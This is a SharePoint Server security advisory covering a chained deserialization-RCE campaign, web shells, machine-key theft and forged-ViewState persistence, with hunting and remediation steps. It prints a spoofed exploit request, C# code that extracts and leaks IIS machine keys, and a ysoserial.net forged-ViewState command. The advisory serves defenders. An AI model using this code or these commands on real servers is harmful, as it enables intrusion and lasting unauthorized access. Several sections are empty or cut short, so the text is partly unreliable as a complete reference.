Technical Advisory & Lab Note: SharePoint Server Deserialization RCEs, Machine-Key Theft, and Post-Exploitation Persistence

1. Executive Summary

A coordinated threat-actor campaign is exploiting multiple critical vulnerabilities in Microsoft SharePoint Server on-premises to achieve unauthenticated or low-privilege remote code execution, deploy web shells, steal IIS ASP.NET machine keys, establish persistent access via forged ViewState payloads and malicious IIS modules, and pivot laterally into Active Directory. Five CVEs are actively exploited as of mid-July 2026:

*Microsoft states "Site Owner" is required; NVD displays PR:N (no privileges). Both assessments may be valid for different attack paths.

• CVE-2026-50522 status as of July 23, 2026: CISA has not added it to KEV — confirm current CISA KEV status before publish.

The critical finding: patching alone does not evict an attacker who has stolen the IIS machine key. Stolen keys enable forged ViewState payloads that bypass all server-side validation — permanently and cryptographically. The remediation sequence must therefore be: hunt artifacts → remove persistence → rotate keys → apply patches (in that order).

This advisory covers vulnerability details, a step-by-step exploitation analysis, detection guidance, and concrete remediation steps. Homelab and self-hosted operators should pay special attention to the risk section in §5.

2. Vulnerability Details

2.1 CVE-2026-32201 — Spoofing Primitive (CVSS 6.5)

Type: Improper Input Validation / Spoofing Auth Required: None CISA KEV Added: April 14, 2026

An unauthenticated attacker exploits improper input validation in SharePoint's handling of request headers and parameters. The root cause is trusting attacker-controlled values (e.g., Referer header or query string parameters) without validating their origin against an allow-list.

Exploitation mechanics: The spoofing primitive enables an attacker to trick SharePoint into treating unauthenticated requests as if they originated from authenticated endpoints, providing the entry point for downstream privilege escalation.

Observed hunting indicator:

POST /_layouts/15/ToolPane.aspx HTTP/1.1
Host: sharepoint.internal
Referer: https://sharepoint.internal/_layouts/SignOut.aspx
DisplayMode=Edit
Content-Type: application/x-www-form-urlencoded

The DisplayMode=Edit parameter in a spoofed request is the primary behavioral indicator for this CVE.

2.2 CVE-2026-45659 — Authenticated Deserialization RCE (CVSS 8.8)

Type: Deserialization of Untrusted Data (CWE-502) Auth Required: Site Member (the default "every user" permission level in on-prem SharePoint) CISA KEV Added: July 1, 2026

An authenticated attacker with Site Member permissions sends a crafted serialized payload to vulnerable endpoints. SharePoint's .NET serializer (BinaryFormatter / LosFormatter) lacks strict type allow-lists and processes the deserialized object using a gadget chain:

ObjectDataProvider → ProcessStartInfo → cmd.exe

Code executes in the w3wp.exe worker process — the IIS application pool identity.

Gurucul's analysis confirms: "CVE-2026-45659 can be exploited by an authenticated SharePoint Site Member. In many enterprise environments, this permission level is routinely granted to employees, contractors, and business partners."

2.3 CVE-2026-56164 — Missing Authentication (CVSS NVD: 9.8 / MSRC: 5.3)

Type: Missing Authentication for Critical Function (CWE-306) Auth Required: None CISA KEV Added: July 14, 2026

A critical SharePoint function is reachable without proper authentication verification. Microsoft CNA (MSRC) scored it at 5.3 due to limited direct integrity impact; independent analysts and NVD assess it as 9.8 because the missing-auth gate enables privilege escalation to administrator-level access.

The exact vulnerable endpoint has not been publicly disclosed by Microsoft — per Penligent's July 14 analysis, emergency action should proceed regardless of this disclosure gap. CISA KEV addition same-day as disclosure underscores urgency.

2.4 CVE-2026-58644 — Unauthenticated Deserialization RCE (CVSS 9.8)

Type: Deserialization of Untrusted Data (CWE-502) Auth Required: Site Owner per MSRC; None per NVD assessment CISA KEV Added: July 16, 2026

Rapid7 confirmed this vulnerability is actively exploited in the wild. Microsoft initially stated "Site Owner" was required but may have been conservative — observed exploitation suggests some attack paths require no authentication at all. This CVE is included in CISA's most urgent remediation queue with a federal compliance due date of July 19, 2026.

2.5 CVE-2026-50522 — Deserialization RCE (CVSS 9.8)

Type: Deserialization of Untrusted Data (CWE-502) Auth Required: None

Critical deserialization flaw patched in the July 14 cycle alongside CVE-2026-58644. While not independently confirmed as actively exploited at time of writing, its CVSS 9.8 score and unauthenticated nature make it a priority for patching.

2.6 Committed but Not Yet Exploited — CVE-2026-55040 (CVSS 9.1)

Type: Weak Authentication / JWT Bypass

Microsoft flagged "Exploitation More Likely" (per Microsoft CNA). Rapid7 identified this as a two-bug chain: the JWT bypass alone is a privilege escalation; paired with an undocumented companion RCE component (expected August 2026), it becomes unauthenticated RCE. Treat as active-exploitation-risk now and plan for patching the companion in August.

3. Affected Products and Fixed Builds

Critical note: Extended support for SharePoint Server 2016 and 2019 ended July 14, 2026 — the same day the July fixes shipped. The July updates are likely the final scheduled security fixes for those versions unless Microsoft announces an exception. Organizations must migrate to Subscription Edition or SharePoint Online for continued security support.

SharePoint Online / Microsoft 365 is not affected.

4. Exploitation Analysis: The Full Attack Chain

Stage 1 — Reconnaissance

Attackers identify vulnerable SharePoint instances through:

• Shodan/Censys searches for SharePoint-specific HTTP headers and /_layouts/15/ paths
• Certificate transparency log enumeration
• DNS subdomain discovery
• Leaked credentials or VPN access purchased from initial access brokers

Stage 2 — Initial Exploitation (Vulnerability Chaining)

The observed exploitation chain uses three vulnerabilities in sequence:

Step A: CVE-2026-32201 spoofing primitive provides the unauthenticated entry point by exploiting header/parameter trust relationships.

Step B: CVE-2026-45659 authenticated RCE. With Site Member credentials (readily available from any logged-in user), a crafted serialized payload executes code in w3wp.exe.

Gadget chain: ObjectDataProvider → ProcessStartInfo → cmd.exe / C:\Windows\System32\cmd.exe
Process context: w3wp.exe (SharePoint Web Application Pool identity)

Step C: CVE-2026-56164 missing-auth escalation. Unauthenticated privilege elevation to site user or administrator level. This closes the auth requirement gap — an attacker needs zero credentials.

Stage 3 — Web Shell Deployment

After gaining code execution, attackers deploy ASP.NET web shells into SharePoint web application directories:

Primary artifact: spinstall0.aspx (variants observed: spinstall.aspx, spinstall1.aspx, spinstall2.aspx)

Common deployment locations:

• C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
• C:\inetpub\wwwroot\wss\VirtualDirectories\80\_layouts\info3.aspx

Characteristics of observed web shells:

• Password-protected access interface
• XOR-encrypted command strings for evasion
• File upload capabilities
• Cookie-based authentication to evade security tools
• Executes commands under the w3wp.exe IIS worker process identity

Stage 4 — IIS Machine Key Theft (THE CRITICAL PHASE)

The attacker reads the ASP.NET machineKey from web.config or auto-generated registry keys:

Configuration config = WebConfigurationManager.OpenWebConfiguration("/");
MachineKeySection section = (MachineKeySection)config.GetSection("system.web/machineKey");
Type t = typeof(MachineKeySection);
string validationKey = (string)t.GetField("_ValidationKey", 
    BindingFlags.NonPublic | BindingFlags.Instance).GetValue(section);
string decryptionKey = (string)t.GetField("_DecryptionKey", 
    BindingFlags.NonPublic | BindingFlags.Instance).GetValue(section);
Response.Headers["X-TXT-NET"] = validationKey + "|" + decryptionKey;

Stolen keys include:

• validationKey — used for ViewState MAC (Message Authentication Code) integrity
• decryptionKey — used for ViewState encryption (when configured)
• decryptionAlgorithm and validationAlgorithm parameters

Why this is critical: With stolen machine keys, an attacker can:

1. Forge valid, signed, optionally encrypted __VIEWSTATE payloads
2. Use ysoserial.net with the ViewState gadget chain to create malicious deserialization payloads that bypass all server-side validation
3. Execute RCE via the forged ViewState on any ASPX page — not just the originally vulnerable endpoint
4. Maintain access even after the web shell is removed and the vulnerability is patched

Stage 5 — Persistence (Two Mechanisms Observed)

A. Forged ViewState payloads: Using ysoserial.net with the stolen machine key:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -enc <base64>" \
  -o base64 \
  --param1 <validationKey> --param2 HMACSHA256 \
  --param3 <appPath> --param4 <netVersion>

The forged ViewState is submitted as a POST parameter to any ASPX page. IIS validates the MAC (passes), deserializes the payload (triggers gadget chain) → RCE.

B. Malicious IIS native modules: Attackers install FarmAuthNative.dll into applicationHost.config. These load into every w3wp.exe process on start, survive reboots and patches. A companion FarmAuth cookie triggers the module's behavior.

Stage 6 — Lateral Movement

The SharePoint farm service account typically holds:

• dbcreator and securityadmin SQL Server roles
• db_owner on all SharePoint content databases

From the compromised Web Front End (WFE), attackers:

• Query or modify any content database
• Extract additional credentials from the configuration database
• Pivot to Active Directory using farm account privileges
• Move to other servers in the same network segment

Observed tools in the Storm-2603 campaign: Mimikatz, PsExec, Impacket, WMI, Warlock ransomware via Group Policy Objects.

5. Risk Assessment for Homelab and Self-Hosted Users

Why this matters to you specifically

If you run SharePoint Server on-premises — even inside a homelab, lab VM cluster, or small-office environment — the current CVE exploitation chain is relevant. This isn't hypothetical: it's an observed pattern where Site Member (the default "every user" permission) gains RCE, the IIS machine key is stolen, and persistence survives patching via forged ViewState.

Your attack surface

A homelab SharePoint deployment typically exposes these vectors simultaneously:

• Internet-facing URL. If you expose your farm via DDNS or VPN split-tunnel for remote access, it will be fingerprinted by opportunistic scanners within hours of first exposure (Shodan/Censys).
• Low default permissions. Site Member is granted to virtually every user in an on-prem deployment. This single permission satisfies CVE-45659's auth requirement.
• Default VM configurations. Auto-generated machine keys are stored in plaintext registry locations readable by w3wp.exe — no attacker configuration required beyond code execution.
• Shared host hypervisor. A compromised SharePoint VM can pivot to neighboring lab VMs (AD lab, file server tests) more easily than hardened datacenter NICs would allow.

Opportunistic scanning vs. targeted exploitation for homelabs

The persistent access problem: why patching alone is insufficient

This is where operators most often get burned:

If an attacker has reached code execution on your farm, they can steal the IIS machine key within minutes. Once stolen, that key enables forged ViewState payloads that bypass every server-side validation check — permanently. Patching afterwards does not eliminate active exploitation because the trust relationship is cryptographic, not policy-based. After patching, forged ViewState payloads remain valid indefinitely: the server trusts the signature because it holds the key. A full rebuild or machine key rotation is required to sever this persistence.

For homelab operators without dedicated incident response procedures:

1. Do not assume patch = clean. If your farm was internet-exposed while running vulnerable builds, treat it as potentially compromised.
2. Hunt first, rotate later. Search for spinstall0.aspx, check applicationHost.config for unauthorized modules, inspect w3wp.exe process trees. Remove artifacts before rotating keys — rotating too early hands new keys to the attacker.
3. Full farm sweep required. The initial compromise may have been on one WFE; IIS module persistence loads into every worker process across all farm members simultaneously.

6. Remediation Guidance

Recommended Sequence (do not reorder)

1. Hunt for persistence artifacts FIRST. Check for:spinstall0.aspx (and variants) in LAYOUTS directories and virtual directory rootsUnauthorized native modules in applicationHost.configSuspicious w3wp.exe process trees spawning cmd/powershell/csc
2. Remove all identified persistence artifacts (web shells, DLLs, cookies). Verify environment cleanliness across ALL farm members — IIS module persistence loads into every worker process on start.
3. Rotate IIS machine keys only after confirming the environment is clean. Rotating prematurely allows intruders to steal new keys. Hunt first, rotate later. Search for spinstall0.aspx, check applicationHost.config for unauthorized modules, inspect w3wp.exe process trees before rotating.
4. Apply July 2026 SharePoint Server security updates to every farm node AFTER persistence is removed and keys rotated. Verify installation via:
5. Restart IIS (iisreset) to evict in-memory malicious modules from worker processes.
6. Block external access to SharePoint Central Administration. Restrict farm/database communications to required systems only.
7. Review all farm members, not just the initially compromised WFE — persistence via IIS module loads across every worker process on every node.

Get-SPFarm | Select-Object BuildVersion
Get-SPProduct -Local | Format-List ProductName, PatchableUnitDisplayName, PatchableUnitVersion

Detection and Monitoring Configuration

Network Hardening

• Avoid direct internet exposure of SharePoint servers entirely. Use a Layer 7 reverse proxy with authentication and request inspection if external access is required.
• Restrict SharePoint administrative endpoints to trusted internal networks only.
• Block default SQL ports from web front-end connectivity; use custom database ports where feasible.
• For homelab deployments: ensure your farm sits behind NAT/firewall without DDNS or public ingress unless absolutely necessary.

Architectural Hardening (Long-term)

• Migrate to SharePoint Online or Subscription Edition where feasible. SP2016/2019 no longer receive patches past July 14, 2026.
• Network-segment the SharePoint farm from lab AD and other VMs using firewall rules between subnets/VLANs.
• Implement an IIS machine key rotation schedule (rotate every 90 days even without suspected compromise) to reduce the window of exploitability for any stolen keys.

7. Threat Actor Context

CISA attributes active exploitation to "malicious cyber threat actors" collectively. The TTPs observed in this campaign include:

• Web shell deployment (spinstall0.aspx)
• IIS machine key theft
• Persistence via forged ViewState and IIS modules (FarmAuthNative.dll)
• Credential dumping with Mimikatz
• Lateral movement via PsExec, Impacket, WMI
• Ransomware delivery (Warlock) via Group Policy Objects

Resecurity analysis notes observed TTPs are consistent with nation-state actors, ransomware affiliates using initial access brokers, and cybercriminal groups focused on data theft — indicating multiple threat actor categories may be active simultaneously.

8. Detection Signatures Reference

AMSI Detections (per Microsoft/Defender, cited by CISA)

Indicators of Compromise (IoCs)

Note: Microsoft has not publicly disclosed the exact vulnerable endpoint function for CVE-2026-56164. Hunt for symptoms described in §4 rather than a known URL/path.

9. Source Citations

10. Uncertainties and Gaps

1. CVE-2026-56164 exact endpoint. Microsoft has not publicly disclosed the vulnerable function.\
2. CVSS score discrepancy for CVE-2026-56164. NVD scores it at 9.8, Microsoft CNA (MSRC) scored it at 5.3. The gap remains unexplained — operators should be aware both assessments exist and use the higher severity for urgency planning.\
3. CVE-2026-58644 auth requirement. Conflicting between MSRC ("Site Owner") and NVD (PR:N). Both may be true for different attack paths.\
4. Full exploit chain mapping confirmed? CISA has not definitively confirmed all three vulnerabilities are always chained in observed order — actors may use different bugs against different patch levels.\
5. Specific threat actor attribution. "Storm-2603" is one campaign identifier; multiple threat actor categories appear active simultaneously.\
6. CVE-2026-55040 companion RCE. Expected August 2026; no public detail on the second bug in the two-bug chain yet.

11. Key Findings Summary

1. Treat all internet-exposed on-prem SharePoint as compromised until proven clean via artifact hunt. Shadowserver tracks ~10,000 internet-exposed SharePoint servers; ~800 remain unpatched against CVE-2026-32201 and CVE-2026-45659 (per Shadowserver reporting).
2. Patching is necessary but insufficient — key theft enables persistent forged ViewState access that survives patches.
3. Remediation sequence matters: Hunt → Remove persistence → Rotate keys → Patch. Out-of-order execution leaves you exposed at each step.
4. SP2016/2019 end-of-support (July 14, 2026) means no further patches for those versions — migration is the only safe path forward.
5. AMSI Full Mode request body scanning is the most effective runtime defense currently available — Microsoft confirmed it blocks observed exploit attempts.
6. No public PoC exists as of writing, but historical precedent (ToolShell, CVE-2025-53770) shows rapid weaponization after disclosure. Act accordingly.

Document compiled 2026-07-23 from the SharePoint CVE research brief and the homelab risk assessment. All CVSS scores sourced from NVD, MSRC CNA, or analyst-assigned assessments as noted. Probability estimates in §5 reflect analyst judgment based on observed campaign behavior.